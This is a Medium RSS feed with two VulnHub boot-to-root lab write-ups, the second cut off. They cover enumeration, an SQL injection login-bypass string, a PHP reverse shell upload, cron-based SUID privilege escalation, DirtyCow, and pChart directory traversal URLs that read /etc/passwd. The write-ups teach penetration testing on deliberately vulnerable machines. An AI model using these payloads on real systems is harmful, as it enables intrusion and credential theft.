<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by sensei0x01 on Medium]]></title>
        <description><![CDATA[Stories by sensei0x01 on Medium]]></description>
        <link>https://medium.com/@sensei0x01?source=rss-3da79e7aaca3------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*uoX2xRS7GRE6snguGz2eNg.png</url>
            <title>Stories by sensei0x01 on Medium</title>
            <link>https://medium.com/@sensei0x01?source=rss-3da79e7aaca3------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 17:28:52 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sensei0x01/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[FRISTILEAKS 1.3: Boot-to-Root]]></title>
            <link>https://sensei0x01.medium.com/fristileaks-1-3-boot-to-root-e5afdd8f392f?source=rss-3da79e7aaca3------2</link>
            <guid isPermaLink="false">https://medium.com/p/e5afdd8f392f</guid>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[fristileaks]]></category>
            <dc:creator><![CDATA[sensei0x01]]></dc:creator>
            <pubDate>Fri, 28 Jun 2024 13:53:53 GMT</pubDate>
            <atom:updated>2024-06-29T12:46:54.163Z</atom:updated>
            <content:encoded><![CDATA[<p>A small VM made for a Dutch informal hacker meetup called Fristileaks. Meant to be broken in a few hours without requiring debuggers, reverse engineering, etc..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tUpEWYs_MNRkqSUeZ_tsCw.png" /></figure><h3>📖Introduction</h3><p>Hello folks, I hope that everything is well on your end. In this write-up, we will explore how to install, configure, and exploit the Fristileaks 1.3 VM to gain root access to the machine and get the flag.</p><h3>🖥️Lab Setup</h3><ul><li>VMware workstation</li><li>Kali Linux VM</li><li><a href="https://www.vulnhub.com/entry/fristileaks-13,133/">Fristileaks 1.3 Vulnhub VM</a></li></ul><p>Without further ado, let’s get started</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/0*Wb2xHzX0Y5NROH5W" /></figure><h3>⬇️Installation</h3><p>The VM file for this machine is an .ova file, which is an open standard that contains multiple files packaged together. To open it, use VMware Workstation:</p><p>Step 1: open the OVA File:</p><ul><li>Go to the <strong>File &gt; Open</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/279/1*1_uXMO-P77QzB7Kj5RnWaQ.png" /></figure><p>Step 2: browse to the OVA File:</p><ul><li>In the open file dialog, navigate to your OVA file&#39;s location.</li><li>Select the OVA file and click “Open.”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*CtmcreL2ObmzkIJ2StRBDw.png" /></figure><p>Step 3: Import the OVA:</p><ul><li>VMware Workstation will start the import process.</li><li>You may be prompted to accept the license agreement if the OVA file includes one.</li><li>Choose the location where you want to store the virtual machine files.</li><li>Click “Import.”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*-w2MP-W36NqWg3Qfy2cAyA.png" /></figure><p>Step 4: Change network adapter settings</p><ul><li>Change Network connection type to NAT</li><li>Change MAC address to this value 08:00:27:A5:A6:76</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*gA1LsaUbI7kiQfpRwZVJMQ.png" /></figure><p>Step 5: power on the machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*84ERs0uImKMs-HnHqhCexw.png" /></figure><h3>🔍Host Discovery</h3><p>We already know the IP address assigned to this machine from the previous screenshot. However, let’s assume we don’t know it. netdiscover is a great tool to identify active hosts on your network.</p><pre>sudo netdiscover -i eth0 -r 192.168.109.0/24</pre><p>192.168.109.0/24 is the NAT subnet in my VMWare workstation. It could be different on your device. This will show all up devices on your network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*_demq4WapKpw-Ml82YqnZQ.png" /></figure><p>As can be seen from the scanning results above, 192.168.109.149is the target IP address. The other active hosts are the DNS server, DHCP server, and the VMware default gateway.</p><h3>🕵🏼Enumeration</h3><p>Now that we know the IP address of the target machine, it’s time to scan the ports to gain a deeper understanding of the attack surface. nmap is a very handy tool for this purpose.</p><pre>target=192.168.109.149<br>sudo nmap -sS -T4 -p- -sVC -O $target -oN scan-result.txt</pre><p>let’s break this command down:</p><p>sudo: to run it with root privileges so that we can modify the TCP default connection (Three-way handshake) to make our scan faster.</p><ul><li>-sS: for <a href="https://nmap.org/book/synscan.html">stealthy scan</a></li><li>-T4: for aggressive <a href="https://nmap.org/book/performance-timing-templates.html">Timing Templates</a></li><li>-p-: for scanning all ports</li><li>-sV: for <a href="https://nmap.org/book/vscan.html">service detection</a></li><li>-sC: to use <a href="https://nmap.org/book/nse-usage.html#nse-categories">default NSE scripts</a></li><li>-O: <a href="https://nmap.org/book/man-os-detection.html">OS detection</a></li><li>-oN: save the scan results in “scan-result.txt”</li></ul><p>The scan result of the previous command is as follows:</p><pre># Nmap 7.94SVN scan initiated Fri Jun 28 03:31:11 2024 as: nmap -sS -T4 -p- -sVC -O -oN scan-result.txt 192.168.109.149<br>Nmap scan report for 192.168.109.149<br>Host is up (0.00056s latency).<br>Not shown: 65396 filtered tcp ports (no-response), 138 filtered tcp ports (host-prohibited)<br>PORT   STATE SERVICE VERSION<br>80/tcp open  http    Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)<br>|_http-title: Site doesn&#39;t have a title (text/html; charset=UTF-8).<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>| http-robots.txt: 3 disallowed entries <br>|_/cola /sisi /beer<br>|_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3<br>MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>Device type: general purpose|storage-misc|media device|webcam<br>Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (97%), Drobo embedded (89%), Synology DiskStation Manager 5.X (89%), LG embedded (88%), Tandberg embedded (88%)<br>OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/h:drobo:5n cpe:/a:synology:diskstation_manager:5.2<br>Aggressive OS guesses: Linux 2.6.32 - 3.10 (97%), Linux 2.6.32 - 3.13 (97%), Linux 2.6.39 (94%), Linux 2.6.32 - 3.5 (92%), Linux 3.2 (91%), Linux 3.2 - 3.16 (91%), Linux 3.2 - 3.8 (91%), Linux 2.6.32 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.9 (91%)<br>No exact OS matches for host (test conditions non-ideal).<br>Network Distance: 1 hop<br><br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br># Nmap done at Fri Jun 28 03:33:34 2024 -- 1 IP address (1 host up) scanned in 143.50 seconds</pre><p>From the results above, we have identified only one open port, which is port 80 (HTTP). Additionally, the robots.txt file has revealed three directories: /cola, /sisi, and /beer. Let’s visit them:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*ikv-WcollPcF3RjVlprOWA.png" /></figure><p>I didn’t find anything but the above picture. So I’ll fuzz for any directory that could be useful. To do this I’ll use gobuster:</p><pre>gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -u http://$target -o site-dir.txt</pre><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fkYZARf25Bm4kkxxLKkSdg.png" /></figure><p>Let’s check /images directory and see its content:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*oWwl7ow3c7hGvMVtnMeu-w.png" /></figure><p>The findings are illustrated in the two attached pictures:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3kfCy4xUTJN1gPyxi9FJmw.png" /></figure><p>Let’s download them and check their metadata perhaps we will find something useful. I’ll use exiftool for this purpose.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NbDhDsYJNe2pXtgirjhdoQ.png" /></figure><p>After inspecting the metadata without finding anything of interest, I continued investigating and discovered that the word fristi mentioned in the first picture is actually a directory. Upon visiting it, I found this page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NryDOKhr0eSEjj276gR8sg.png" /></figure><h3>👨🏻‍💻Exploitation</h3><p>From the previous section, we have found a login page. Typically, I attempt default credentials on any login page, such as:</p><blockquote>admin:admin</blockquote><blockquote>admin:password</blockquote><p>But none of them worked for me. Therefore, I attempted an SQL injection to bypass authentication:</p><blockquote>admin:’ or 1=1-- -</blockquote><p>But unfortunately, it didn’t work as well. I was always redirected to this page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*7k-2b4-E7h_L2lnvlvsIRQ.png" /></figure><p>Next, I checked the page source hoping to find commented credentials or other helpful information. I discovered something intriguing: the picture used on the login page was base64 decoded, and I found another commented base64 data. Besides that, I found a potential username eezeepz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*SoBr1mObiZI0TRleZFgbfA.png" /></figure><p>I created a simple HTML page to decode this data and see its content.</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>  &lt;head&gt;<br>    &lt;title&gt;Display Image&lt;/title&gt;<br>  &lt;/head&gt;<br>  &lt;body&gt;<br>    &lt;img src=&#39;data:image/png;base64, iVBORw0KGg... &lt;!-- Base64 data --&gt;&#39; /&gt;<br>  &lt;/body&gt;<br>&lt;/html&gt;</pre><p>After decoding the data, I found this message:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/365/1*D9ATU669wtwLrgkeG7Lmgg.png" /></figure><p>Initially, I thought it might be trolling, which frustrated me. However, after reconsidering, I wondered if this could be the password. I decided to try it out with the potential username eezeepz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/310/1*oeOIXaJQ9PZ9u4VKU7qQRQ.png" /></figure><p>Thankfully, the assumption was correct, and I successfully logged in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*67sAIsu9YAGPJ1cKguj2hA.png" /></figure><p>After logging in, I discovered an upload functionality, so I attempted to upload a PHP reverse shell code. You can find a PHP reverse shell code preinstalled on Kali Linux at this path: /usr/share/webshells/php/php-reverse-shell.php. Remember to modify the IP address and port to suit your requirements before using it. This can be done using any texteditor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*CcH6ydmADalS4B1RUBSjGw.png" /></figure><p>There are some validations that we need to bypass. The easiest and most direct way is to add one of these extensions to the file’s name:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*fGUuHm5ynGEmQTEcVJgzBQ.png" /></figure><p>After that, I attempted to upload the file, and it was successful. Now the file has been successfully uploaded to this path: /uploads/&lt;file_name&gt;. To establish the reverse shell, I needed to run a listener. For this, I used nc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/344/1*mMJCsx67iV1eFUfXPjfv3g.png" /></figure><p>Consequently, I visited the next URL to execute the payload embedded in the uploaded file on the target machine:</p><pre>http://192.168.109.149/fristi/uploads/shell.php.jpg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bbLATpzt8PpYJsZArJiOvg.png" /></figure><p>Bingo! Now that the shell is established, I upgraded it to an interactive shell. This process has been explained in a previous write-up of mine; you can check it out there:</p><p><a href="https://sensei0x01.medium.com/kioptrix-2-boot-to-root-aa7c68e8f10c">Kioptrix 2: Boot-to-Root</a></p><h3>💥Post-Exploitation</h3><p>After obtaining an interactive shell, I checked the /var/www directory and found a file named notes.txt. Its contents were as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*FbvG1_-JdaeziZdmtpUPfQ.png" /></figure><p>After checking the home directory of eezeepz, I found another notes.txt file that held a message saying:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*PKoA2XCQhWLSJa3ii2CwBg.png" /></figure><p>To clarify, there is a crontab script that runs every minute with admin privileges. This script executes commands from the file /tmp/runthis. The command inside it must start with /home/admin.</p><p>The /home/admin directory includes the following 7 binaries: chmod, df, cat, echo, ps, grep, and egrep.</p><p>So, what I’ll do is insert a command inside /tmp/runthis file to copy the /bin/bash binary to /tmp/bash using the cat command:</p><pre>echo &quot;/home/admin/cat /bin/bash &gt; /tmp/bash&quot; &gt; /tmp/runthis</pre><p>Next, I will change the permissions of the copied file to SUID:</p><pre>echo &quot;/home/admin/chmod 4777 /tmp/bash&quot; &gt;&gt; /tmp/runthis</pre><p>After waiting for a minute I had a copy with SUID privileges:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*K2W7zIqNPoGlK1YYrLBxSw.png" /></figure><p>Now If I run this binary with the -p argument I’ll have admin privileges:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/223/1*-yrUBp4PC9z42g5v6PpDpg.png" /></figure><p>Consequently, I tried to see if I could run any binary with root privileges using sudo -l but I got asked to enter a password :/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/344/1*QZe3Kr5cC3_rjWOmpEUSVw.png" /></figure><p>Since we couldn&#39;t check the sudo list, let’s check /home/admin directory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*XVU6lGSEG2MsArJ7f-WQVA.png" /></figure><p>As shown in the screenshot above, there are two text files. Let’s check their content:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*I0zTZ1xN9Bhi7ZGxMb3KWQ.png" /></figure><p>It looks like the contents of the text files are encrypted. Let’s take a look at cryptpass.py as it is most likely the script used to encrypt them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/1*zb7wE-yYVfL8hFYz8V-N9w.png" /></figure><p>According to the code shown, the function encodeString takes a string, applies base64 encoding, reverses it, and finally applies rot13 encoding. To reverse this process I built the next Python script:</p><pre>import base64, codecs, sys<br><br>def decodeString(encoded_str):<br>    # Decode the ROT13 encoding<br>    rot13_decoded = codecs.decode(encoded_str, &#39;rot13&#39;)<br>    # Reverse the string<br>    reversed_string = rot13_decoded[::-1]<br>    # Decode the base64 string<br>    base64_decoded = base64.b64decode(reversed_string)<br>    return base64_decoded<br><br>if __name__ == &quot;__main__&quot;:<br>    encoded_str = sys.argv[1]<br>    original_str = decodeString(encoded_str)<br>    print(original_str.decode(&#39;utf-8&#39;))</pre><p>After decoding the content of the text files I got these values:</p><blockquote>From whoisyourgodnow.txt : LetThereBeFristi!</blockquote><p>and</p><blockquote>From cryptedpass.txt : thisisalsopw123</blockquote><p>So now we have two credentials:</p><blockquote>fristigod : LetThereBeFristi!</blockquote><p>and</p><blockquote>admin : thisisalsopw123</blockquote><p>Let’s log in with admin and list if there is any command that could be run as root .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*MorIywAfsf8gwV3Euom9nQ.png" /></figure><p>Since there are no is not sudo permission for the user admin let’s switch to fristigod:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*dfjIBcnRV4Il1CDRU26FxQ.png" /></figure><p>From the previous screenshot, there are two points to focus on.</p><ul><li>User fristigod can run doCom file as root.</li><li>In the last line, the name is shortened to fristi.</li></ul><p>I’m going to use the doCom file to execute /bin/bash, which will grant me root privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*tc9SHb5ifgtKpQ_st3Nhaw.png" /></figure><p>ta-da! Now that we have root privileges, let’s check the root directory for the flag file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*wXqJC4wa1migVwmU3LMdIA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/350/0*dWkKQrut-8jEiDR3.gif" /></figure><h3>➕Bonus</h3><p>During my enumeration, I found that the Kernel version was vulnerable to <a href="https://github.com/firefart/dirtycow">DirtyCow</a> and <a href="https://www.exploit-db.com/exploits/25444">PERF_EVENTS</a> Local Privilege Escalation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gbSG7yBz3It5OCp7X0ybTQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AY4BZJOLedii842H3QnUaw.png" /></figure><p>We have already exploited the PERF_EVENTS In a previous write-up:</p><p><a href="https://sensei0x01.medium.com/kioptrix-2-boot-to-root-aa7c68e8f10c">Kioptrix 2: Boot-to-Root</a></p><p>This time let’s try to exploit the DitryCow vulnerability:</p><p>Step 1: Create a simple web server using python in the directory where the exploitation code is located:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*73tZmXHMH4uRmcTo3ucUTg.png" /></figure><p>Step 2: Download the exploitation code using wget in a writeable directory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*u1w-U3mKveNhICq9Z-fJqg.png" /></figure><p>Step 3: Compile the code using gcc compiler:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*MJ1baGauNJiyCK-Etc5-UA.png" /></figure><p>Step 4: run the exploitation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*y3vTjPBjmIElF11C_Uri9w.png" /></figure><p>That’s it for today. I hope this writeup was useful for you folks; stay safe and keep pinging :)</p><p>3NGnyAaoyAUr 🤔😜</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e5afdd8f392f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kioptrix 5: Boot-to-Root]]></title>
            <link>https://sensei0x01.medium.com/kioptrix-5-boot-to-root-b3f8b9cbefa2?source=rss-3da79e7aaca3------2</link>
            <guid isPermaLink="false">https://medium.com/p/b3f8b9cbefa2</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[kioptrix]]></category>
            <dc:creator><![CDATA[sensei0x01]]></dc:creator>
            <pubDate>Fri, 21 Jun 2024 17:57:30 GMT</pubDate>
            <atom:updated>2024-06-22T06:57:18.528Z</atom:updated>
            <content:encoded><![CDATA[<p>As usual, this vulnerable machine is targeted at the beginner. It’s not meant for the seasoned pentester or security geek who’s been at this stuff for 10 years. Everyone needs a place to start, and I want to help in that regard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*puWZdTHN6blqB5B_5yplMw.png" /></figure><h3>📖Introduction</h3><p>Hello folks, I hope that everything is well on your end. In this write-up, we will explore how to install, configure, and exploit the Kioptrix 5 VM to gain root access to the machine.</p><h3>🖥️Lab Setup</h3><ul><li>VMWare workstation</li><li>Kali Linux VM</li><li><a href="https://www.vulnhub.com/entry/kioptrix-2014-5,62/">Kioptrix Level 5 Vulnhub VM</a></li></ul><p>Before the ink dries, let’s get started.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/267/0*Wj0w0gYNZHtS3fWw" /></figure><h3>⬇️Installation</h3><p>After downloading the machine’s file, you will find that it’s a .tar.bz2file. To extract its contents I used 7-Zip file manager:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NP0nt79KiM0CUBXxu30Zbw.png" /></figure><p>After extracting the content you will find these files:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*4mqFPDqvZel7T885jqiNAQ.png" /></figure><p>Open .vmx file using the Vmware workstation and the specs of the machine will be imported:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/308/1*edu6GFdhqk-7SSG_r5lDHw.png" /></figure><p>There was a disclaimer on the Vulnhub page of this machine saying that it’s preferred to <strong>remove the network card and re-add it. </strong>To do this go to<strong> edit virtual machine settings &gt; Network Adapter </strong>and press the remove button:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*OX68uzWmmxDIK88OjIS8-Q.png" /></figure><p>Now add a new one from <strong>Add &gt; Network Adapter</strong> make sure that the network connection type is NAT . After adding the new network adapter power the machine up:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*WzSTEnOdKU_xK9s7R55LLg.png" /></figure><h3>🔍Host Discovery</h3><p>After installing the VM, we need to determine the IP address assigned to it. Many tools can accomplish this. In this article, we’ll be using netdiscover:</p><pre>sudo netdiscover -i eth0 -r 192.168.109.0/24</pre><p>192.168.109.0/24 is the NAT subnet in my VMWare workstation. It could be different on your device. This will show all up devices on your network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*L9pHcup0sXLLlgzj3-qdDA.png" /></figure><p>As can be seen from the above scanning result, 192.168.109.148 is the target IP address. The DNS server, DHCP server, and VMware default gateway are the other active hosts.</p><h3>🕵🏼Enumeration</h3><p>After identifying the target, we need to scan for open ports and the services running on each of them to understand our attack surface. That’s where Nmap comes in very handy.</p><pre>target=192.168.109.148<br>sudo nmap -sS -T4 -p- -sVC -O $target -oN scan-result.txt</pre><p>let’s break this command down:</p><p>sudo: to run it with root privileges so that we can modify the TCP default connection (Three-way handshake) to make our scan faster.</p><ul><li>-sS: for <a href="https://nmap.org/book/synscan.html">stealthy scan</a></li><li>-T4: for aggressive <a href="https://nmap.org/book/performance-timing-templates.html">Timing Templates</a></li><li>-p-: for scanning all ports</li><li>-sV: for <a href="https://nmap.org/book/vscan.html">service detection</a></li><li>-sC: to use <a href="https://nmap.org/book/nse-usage.html#nse-categories">default NSE scripts</a></li><li>-O: <a href="https://nmap.org/book/man-os-detection.html">OS detection</a></li><li>-oN: save the scan results in “scan-result.txt”</li></ul><p>Here are the scan results from the previous command:</p><pre>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-21 02:06 EDT<br>Nmap scan report for 192.168.109.148<br>Host is up (0.00043s latency).<br>Not shown: 65532 filtered tcp ports (no-response)<br>PORT     STATE  SERVICE VERSION<br>22/tcp   closed ssh<br>80/tcp   open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)<br>|_http-server-header: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8<br>8080/tcp open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)<br>|_http-server-header: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8<br>|_http-title: 403 Forbidden<br>MAC Address: 00:0C:29:F0:A2:38 (VMware)<br>Device type: general purpose<br>Running (JUST GUESSING): FreeBSD 9.X|10.X (88%)<br>OS CPE: cpe:/o:freebsd:freebsd:9.3 cpe:/o:freebsd:freebsd:10<br>Aggressive OS guesses: FreeBSD 9.3-RELEASE (88%), FreeBSD 9.0-RELEASE - 10.3-RELEASE (88%)<br>No exact OS matches for host (test conditions non-ideal).<br>Network Distance: 1 hop<br><br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 119.90 seconds</pre><p>There are only two open ports: 80 (HTTP) and 8080 (HTTP). If my memory serves me right, this version of mod_ssl is infected with RCE. We exploited it on the <a href="https://medium.com/@sensei0x01/kioptrix-1-boot-to-root-feed2ea23232">Kioptrix 1</a> machine. The exploit code that has been used:</p><p><a href="https://www.exploit-db.com/exploits/47080">OffSec&#39;s Exploit Database Archive</a></p><p>We will check that in the next section. For now, let’s check the website:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*HHK0q0cobuXG1S8FMTBrZg.png" /></figure><p>Nothing useful on the front page. How about the source code Are there any comments?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*FeXBa0BO34HOGPNw8jgQlQ.png" /></figure><p>It seems like a directory name I&#39;ll try to visit it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*DX4VpmhlPDi7Z6gf7MUlxQ.png" /></figure><p>It worked, and it opened a page with a software called <a href="http://www.pchart.net/">pChart</a>. After searching for vulnerabilities in this software I found it’s Infected with <a href="https://portswigger.net/web-security/cross-site-scripting">XSS </a>and <a href="https://portswigger.net/web-security/file-path-traversal">directory traversal</a>:</p><p><a href="https://www.exploit-db.com/exploits/31173?source=post_page-----6c16b111cceb--------------------------------">OffSec&#39;s Exploit Database Archive</a></p><p>We will get back to that later on. For now, let’s check port 8080:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*h9dRXKrFaSBU3rWkTGWpKg.png" /></figure><p>We are not authorized to access this page?!</p><p>The last step in this section is to fuzz for directories. gobuster is my favorite tool for that:</p><pre>gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -u http://192.168.109.148//pChart2.1.3/examples/ -x php,html,sh,txt</pre><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BiYmUur8nJw8ZHXoWWgJ6Q.png" /></figure><h3>👨🏻‍💻Exploitation</h3><p>In the previous section, we mentioned that the mod_ssl version is infected with RCE. The problem here is that the Apache version is 2.2.21 which means the exploitation will not work with it. Vulnerable versions of Apache are:</p><pre>        <br>===================================snippet===================================<br>        0x18 - FreeBSD (apache-1.3.9)<br>        0x19 - FreeBSD (apache-1.3.11)<br>        0x1a - FreeBSD (apache-1.3.12.1.40)<br>        0x1b - FreeBSD (apache-1.3.12.1.40)<br>        0x1c - FreeBSD (apache-1.3.12.1.40)<br>        0x1d - FreeBSD (apache-1.3.12.1.40_1)<br>        0x1e - FreeBSD (apache-1.3.12)<br>        0x1f - FreeBSD (apache-1.3.14)<br>        0x20 - FreeBSD (apache-1.3.14)<br>        0x21 - FreeBSD (apache-1.3.14)<br>        0x22 - FreeBSD (apache-1.3.14)<br>        0x23 - FreeBSD (apache-1.3.14)<br>        0x24 - FreeBSD (apache-1.3.17_1)<br>        0x25 - FreeBSD (apache-1.3.19)<br>        0x26 - FreeBSD (apache-1.3.19_1)<br>        0x27 - FreeBSD (apache-1.3.20)<br>        0x28 - FreeBSD (apache-1.3.20)<br>        0x29 - FreeBSD (apache-1.3.20+2.8.4)<br>        0x2a - FreeBSD (apache-1.3.20_1)<br>        0x2b - FreeBSD (apache-1.3.22)<br>        0x2c - FreeBSD (apache-1.3.22_7)<br>        0x2d - FreeBSD (apache_fp-1.3.23)<br>        0x2e - FreeBSD (apache-1.3.24_7)<br>        0x2f - FreeBSD (apache-1.3.24+2.8.8)<br>        0x30 - FreeBSD 4.6.2-Release-p6 (apache-1.3.26)<br>        0x31 - FreeBSD 4.6-Realease (apache-1.3.26)<br>        0x32 - FreeBSD (apache-1.3.27)<br>===================================snippet===================================</pre><p>Since it didn’t work let’s move on to the other finding that can be useful which is pchart directory traversal vulnerability. The infected parameter is Script . The URL used to retrieve /etc/passwd file will be something like this:</p><pre>http://192.168.109.148/pChart2.1.3/examples/index.php?Action=View&amp;Script=%2f..%2f..%2fetc/passwd</pre><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*38crzfHtvM_tbdcQcgkOtw.png" /></figure><p>Whenever you encounter such a vulnerability, use it to read the source code of web pages and configuration files for the Apache service.</p><p>Let’s open index.php source code using this URL:</p><pre>http://192.168.109.148/pChart2.1.3/examples/index.php?Action=View&amp;Script=index.php</pre><p>The information that could be interesting includes filenames (e.g., .php, .html, .txt), user credentials, and useful comments. Unfortunately, I didn’t find any useful information inside index.php.</p><p>Next, we should check the Apache configuration file in FreeBSD the file is located under this path:</p><pre>/usr/local/etc/apacheX/httpd.conf</pre><p>where X is the Apache version. In our case, the version is 2.2.21, so Xis 22 (the first two numbers of the version). According to that, the URL will be:</p><pre>http://192.168.109.148/pChart2.1.3/examples/index.php?Action=View&amp;Script=%2f..%2f..%2f/usr/local/etc/apache22/httpd.conf</pre><p>Retrieved page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I5qwoMIq_r95jBouhrKL3Q.png" /></figure><p>As we already know and have shown above, the Apache service is listening on ports 80and 8080. Let’s check if there is any configuration that prevents us from accessing port 8080:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*crE2UeIErEMrFTngMH93jg.png" /></figure><p>As shown in the configuration snippet above, the User-Agent that is allowed to access the webpage hosted on the port 8080 must start with Mozilla/4.0. To access it, we must change our User-Agent. To do this, use any proxy tool. I prefer using <a href="https://www.youtube.com/watch?v=pfaa9YDypJc">Burp Suite</a>. It is installed on Kali Linux by default. Let’s intercept our request and change The User-Agent:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*z3_sE2MWDuGo3eQK26JzHg.png" /></figure><p>After modifying the User-Agent value and forwarding the request, we managed to access the webpage:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*nUuZLJ17004nK7ItraiYCA.png" /></figure><p>To modify the User-Agent automatically go to proxy settings &gt; match and replace rules and enable this option:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*wXB-pDo3xrpIMHSwN8bXHg.png" /></figure><p>There is a page named phptax. After visiting it, I found the following 